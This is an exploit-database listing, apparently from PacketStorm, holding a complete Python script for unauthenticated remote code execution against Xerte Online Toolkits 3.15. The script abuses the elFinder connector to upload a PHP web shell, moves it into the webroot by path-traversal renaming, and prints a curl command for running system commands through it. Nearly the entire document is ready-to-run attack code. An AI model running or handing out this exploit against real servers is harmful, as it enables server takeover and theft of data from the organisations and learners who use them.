Share
## https://sploitus.com/exploit?id=PACKETSTORM:225124
==================================================================================================================================
    | # Title     : Xerte Online Toolkits 3.15 Unauthenticated Remote Code Execution Exploit                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://github.com/bootstrapbool/xerteonlinetoolkits-rce                                                         |
    ==================================================================================================================================
    
    [+] Summary    : This Python script is an exploit tool for Xerte Online Toolkits targeting multiple vulnerabilities (CVE-2026-34413, CVE-2026-34414, CVE-2026-34415, CVE-2026-41459) in the elFinder file manager integration.
    
    
    [+] Payload    : 
    
    #!/usr/bin/env python3
    
    import argparse
    import base64
    import random
    import re
    import string
    import sys
    from urllib.parse import urljoin, urlparse
    
    import requests
    from bs4 import BeautifulSoup
    
    
    class XerteExploit:
        def __init__(self, target_url, username=None, webroot=None, proxy=None):
            """
            Initialize the Xerte exploit.
            
            Args:
                target_url (str): Base URL of the Xerte installation
                username (str, optional): Valid username. If None, assumes guest authentication.
                webroot (str, optional): Full filepath to the local webroot
                proxy (str, optional): Proxy URL (e.g., http://127.0.0.1:8080)
            """
            self.target_url = target_url.rstrip('/')
            self.username = username
            self.webroot = webroot
            self.session = requests.Session()
            
            if proxy:
                self.session.proxies = {'http': proxy, 'https': proxy}
            
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
    
            self.root_dir_id = 'l1_Lw'
            self.nottingham_suffix = '--Nottingham' if not username else f'-{username}-Nottingham'
    
        def _get_webroot(self):
            """Retrieve the webroot from the /setup/ endpoint."""
            uri = urljoin(self.target_url, 'setup/')
            print(f"[*] Attempting to retrieve webroot from {uri}")
            
            try:
                res = self.session.get(uri, timeout=10)
            except requests.RequestException as e:
                print(f"[!] Failed to connect: {e}")
                return None
            
            if res.status_code != 200:
                print("[!] Failed to connect to /setup. It was likely removed by an administrator.")
                return None
            
            soup = BeautifulSoup(res.text, 'html.parser')
            for element in soup.find_all(text=re.compile(r"Delete 'database\.php' from")):
                code = element.find_next('code')
                if code:
                    return code.text.strip()
            
            return None
    
        def _get_elfinder_id(self, name, volume_id='l1'):
            """Generate elFinder ID for a given name."""
            encoded = base64.b64encode(name.encode()).decode()
            encoded = re.sub(r'=+$', '', encoded)
            return f"{volume_id}_{encoded}"
    
        def _create_dir(self, connector_uri, params, dirname, root_dir_id):
            """Create a directory using elFinder."""
            dir_id = self._get_elfinder_id(dirname)
            
            create_dir_params = params.copy()
            create_dir_params.update({
                'cmd': 'mkdir',
                'name': dirname,
                'target': root_dir_id
            })
            
            try:
                res = self.session.get(connector_uri, params=create_dir_params, timeout=10)
            except requests.RequestException as e:
                print(f"[!] Failed to create directory: {e}")
                return None
            
            if res.status_code != 302:
                print(f"[!] Failed to create directory. Status: {res.status_code}")
                return None
            
            return dir_id
    
        def _upload_file(self, connector_uri, params, filename, dir_id, payload):
            """Upload a file using elFinder."""
            data = {
                'cmd': 'upload',
                'target': dir_id
            }
    
            files = {
                'upload[]': (filename, f'<br>{payload}', 'text/plain')
            }
            
            try:
                res = self.session.post(
                    connector_uri,
                    params=params,
                    data=data,
                    files=files,
                    timeout=30
                )
            except requests.RequestException as e:
                print(f"[!] Failed to upload file: {e}")
                return None
            
            if res.status_code != 302:
                print(f"[!] Failed to upload file. Status: {res.status_code}")
                return None
            
            return self._get_elfinder_id(filename)
    
        def _rename_file(self, connector_uri, params, shellname, dirname, file_id):
            """Rename a file to achieve path traversal."""
            rename_params = params.copy()
            rename_params.update({
                'cmd': 'rename',
                'target': file_id,
                'name': f"{dirname}/../../../../{shellname}"
            })
            
            try:
                res = self.session.get(connector_uri, params=rename_params, timeout=10)
            except requests.RequestException as e:
                print(f"[!] Failed to rename file: {e}")
                return False
            
            if res.status_code != 302:
                print(f"[!] Failed to rename file. Status: {res.status_code}")
                return False
            
            return True
    
        def _generate_random_name(self, length=8):
            """Generate a random alphanumeric string."""
            return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
    
        def exploit(self):
            """Execute the exploit."""
            connector_uri = urljoin(self.target_url, '/editor/elfinder/php/connector.php')
    
            if not self.webroot:
                self.webroot = self._get_webroot()
                if not self.webroot:
                    print("[!] Could not determine webroot. Please specify with --webroot")
                    return False
    
            self.webroot = self.webroot.rstrip('/')
            print(f"[*] Application Root: {self.webroot}")
    
            dirname = self._generate_random_name()
            filename = f"{dirname}.txt"
            shellname = f"{dirname}.php4"
    
            payload = "<?php system($_GET['cmd']); ?>"
            
            success = False
    
            for project_id in range(1, 101):
                project_dir = f"/USER-FILES/{project_id}{self.nottingham_suffix}/"
                print(f"[*] Attempting {self.webroot}{project_dir}")
                
                project_dir_uri = urljoin(self.target_url, project_dir)
                
                params = {
                    'uploadDir': f"{self.webroot}{project_dir}",
                    'uploadURL': project_dir_uri
                }
    
                dir_id = self._create_dir(connector_uri, params, dirname, self.root_dir_id)
                if not dir_id:
                    continue
    
                file_id = self._upload_file(
                    connector_uri,
                    params,
                    filename,
                    self.root_dir_id,
                    payload
                )
                if not file_id:
                    continue
      
                if not self._rename_file(connector_uri, params, shellname, dirname, file_id):
                    continue
    
                shell_url = urljoin(self.target_url, shellname)
                try:
                    res = self.session.get(shell_url, timeout=10)
                    if res.status_code == 200:
                        print(f"[+] Successfully uploaded shell at: {shell_url}")
                        success = True
                        break
                    else:
                        print(f"[-] Shell not accessible at {shell_url} (Status: {res.status_code})")
                except requests.RequestException:
                    continue
            
            if not success:
                print("[!] Exploit failed. The target user likely has no projects.")
                return False
            
            print("\n[+] Exploit successful!")
            print(f"[+] Shell URL: {shell_url}")
            print("[+] Example usage: curl '{}?cmd=id'".format(shell_url))
            
            return True
    
        def check(self):
            """Check if the target is vulnerable."""
            uri = urljoin(self.target_url, 'setup/')
            print(f"[*] Checking {uri}")
            
            try:
                res = self.session.get(uri, timeout=10)
            except requests.RequestException as e:
                print(f"[!] Failed to connect: {e}")
                return False
            
            if res.status_code != 200:
                print("[!] /setup not accessible. Target may not be vulnerable.")
                return False
            
            soup = BeautifulSoup(res.text, 'html.parser')
            for element in soup.find_all(text=re.compile(r"Delete 'database\.php' from")):
                code = element.find_next('code')
                if code and code.text.strip():
                    print(f"[+] Target appears vulnerable! Webroot: {code.text.strip()}")
                    return True
            
            print("[-] Target does not appear vulnerable.")
            return False
    
    
    def main():
        parser = argparse.ArgumentParser(
            description='Xerte Online Toolkits RCE Exploit (CVE-2026-34413, CVE-2026-34414, CVE-2026-34415, CVE-2026-41459)'
        )
        parser.add_argument('url', help='Target URL (e.g., http://localhost/xerte)')
        parser.add_argument('-u', '--username', help='Valid username. If not provided, assumes guest authentication.')
        parser.add_argument('-w', '--webroot', help='Full filepath to the local webroot (e.g., /var/www/html/)')
        parser.add_argument('-p', '--proxy', help='Proxy URL (e.g., http://127.0.0.1:8080)')
        parser.add_argument('-c', '--check', action='store_true', help='Only check if target is vulnerable')
        
        args = parser.parse_args()
        
        exploit = XerteExploit(
            target_url=args.url,
            username=args.username,
            webroot=args.webroot,
            proxy=args.proxy
        )
        
        if args.check:
            if exploit.check():
                sys.exit(0)
            else:
                sys.exit(1)
        else:
            if exploit.exploit():
                sys.exit(0)
            else:
                sys.exit(1)
    
    
    if __name__ == "__main__":
        main()
    		
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================